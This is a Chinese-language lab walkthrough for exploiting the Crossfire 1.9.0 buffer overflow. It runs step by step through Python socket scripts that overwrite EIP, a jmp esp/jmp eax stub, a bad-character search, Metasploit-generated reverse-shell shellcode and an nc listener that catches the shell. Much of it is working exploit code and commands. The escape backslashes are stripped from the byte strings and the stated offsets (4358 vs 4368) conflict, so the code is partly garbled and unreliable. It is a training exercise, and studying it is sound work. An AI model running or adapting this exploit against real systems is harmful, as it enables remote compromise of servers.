原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。
工具:
调试工具:edb;
###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势
实验对象:crossfire【多人在线RPG游戏】
运行平台:Kali i386 虚拟机【32位,计算机CPU位数是指地址总线位数,64位系统的寻址空间为2^64,寻址过大,难以处理,为了简化操作,所以选用32位】
搭建实验环境
#linux中,游戏需安装带其game文件夹
服务器端程序
cp crossfire.tar.gz /usr/games/
tar -zxpf crossfire.tar.gz
./crossfire 运行
出现Waiting for connections即可,有问题看看Error
查看端口开放情况
可以看到crossfire进程已经开始监听本地13327端口
新版本Linux内核支持内存保护机制
DEP、ASLR、堆栈cookies、堆栈粉碎
今天实验内容使用的crossfire1.9程序相对来说比较简陋,不支持内存保护机制,对这个实验没有影响
本机调试【防止在渗透测试过程中的非法网络访问,以防被黑客入侵电脑】
iptables -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡的13327
iptables -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡4444
配置完之后可以使用iptables -L查看当前配置
我们使用的调试工具是edb-debuger
application应用-->reverse_engineering逆袭工程-->edb-debuger
#开启调试 edb --run /usr/games/crossfire/bin/crossfire
右下角是paused暂停状态
菜单栏 Debug => Run(F9) 点击两回可以运行起来
debug运行起来之后后启动edb-output调试输出窗口显示waitting for connections
#查看开放端口 netstat -anptl | grep crossfire
EIP中存放的是下一条指令的地址
这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python程序测试
#! /usr/bin/python import socket host = "127.0.0.1" crash = "x41" * 4379 ## x41为十六进制的大写A buffer = "x11(setup sound " + crash + "x90x00#" ## x90是NULL,x00是空字符 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
执行01.py
edb中一旦缓冲区溢出发生,无法进行下一条指令,会有告警弹窗
意思是EIP(存放一下条执行命令的地址)已经被覆盖成0x41414141地址,这个地址不能被访问。这个地址正是被由我们输入的A填充,说明EIP可控,存在溢出。
通过测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控
唯一字符串精确定位EIP位置
为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_create.rb -l 4379
复制下来,构造如下python脚本
#! /usr/bin/python import socket host = "127.0.0.1" crash = "唯一字符串" buffer = "x11(setup sound " + crash + "x90x00#" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close()
重新启动edb服务,连按两次F9开始运行
执行02.py
可以看到EIP寄存器内存地址为0x46367046
接下来我们需要利用工具确认字符串的位置
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_offset.rb -q 46367046
可以看到偏移量是4358,也就是说EIP地址前面有4368个字符。4369,4370,4371,4372的位置存放的是溢出后的EIP地址。
我们构造如下python脚本验证,用B精确的存入4369-4372的位置。
#! /usr/bin/python import socket host = "127.0.0.1" crash = 'A'*4368 + 'B'*4 + 'C'*7 ## 凑够4379个字符,只有4379个字符才可精确的发生EIP的内存覆盖 buffer = "x11(setup sound " + crash + "x90x00#" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
运行程序,可以看到弹出报错窗口提示0x42424242这个地址是不能被访问的
双击EIP寄存器地址,可以看到EIP地址被精准的填充为B字符
右键ESP,选择 Follow In Dump 查看数据,可以看到ESP寄存器填充了7个C
因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode
几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode
因为setup sound为服务器指令,所以前十二个字符须先发送setup sound
思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。
既然ESP可以存放7个字符,想到了跳转EAX并偏移12
第一阶段shellcode:从ESP【7个字节】 跳转到 EAX,在ESP中实现偏移12位字符
root@kali:~# locate nasm_shell.rb
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
root@kali:~# cd /usr/share/metasploit-framework/tools/exploit/
root@kali:/usr/share/metasploit-framework/tools/exploit# ./nasm_shell.rb
将汇编指令转换为十六进制
因为ESP可以存放7个字节,实现跳转只需5个字节,足够插进ESP中,实现跳转到EAX
跳转的内容我们用十六进制表示 x83xc0x0cxffxe0x90x90
x90:跳转字符,防止被过滤【计算机读入数据顺序与人类阅读顺序相反】
构造如下python代码运行
#! /usr/bin/python import socket host = "127.0.0.1" crash = 'A'*4368 + 'B'*4 + 'x83xc0x0cxffxe0x90x90' buffer = "x11(setup sound " + crash + "x90x00#" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
EIP地址仍然是精准的覆盖四个B
ESP => Follow In Dump 查看
可以看到ESP寄存器被成功覆盖为十六进制的x83xc0x0cxffxe0x90x90
转化为汇编语言就是我们的跳转指令jmp eax
思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转
打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch
选择crossfire程序,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的
#EIP->jmp ESP->ESP->EAX
这里我再强调一下,这个实验一定要用32位系统来做,否则64位系统这里会出现问题,如下图
菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。
查找坏字符
x00x0ax0dx20
将256个编码放进脚本中逐一查找
设置断点(0x08134597)
EIP——08134597
则EIP跳转地址为
crash = "x41" * 4368 + "x97x45x13x08"【EIP】 + "x83xc0x0cxffxe0x90x90"【EAX】
程序执行到EIP——08134597处被阻断,
此时按F8执行下一步
再按F8就跳入ESP寄存器
将4368个字符中,替换成shellcode,剩余位继续填充”A“【需计算shellcode字符数量】
然后我们测试坏字符,经过测试坏字符是x00x0ax0dx20
生成shellcode并过滤坏字符
cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的种类 ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "x00x0ax0dx20"
构建python脚本
#!/usr/bin/python import socket host = "127.0.0.1" shellcode = (生成的shellcode) crash = shellcode + "A"*(4368-105) + "x97x45x13x08" + "x83xc0x0cxffxe0x90x90" buffer = "x11(setup sound " +crash+ "x90x90#)" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) print "[*]Sending evil buffer..." s.connect((host,13327)) data = s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"
打开侦听4444端口【当有人连接4444的时候,则getshell】
nc 127.0.0.1 4444 ###获得shell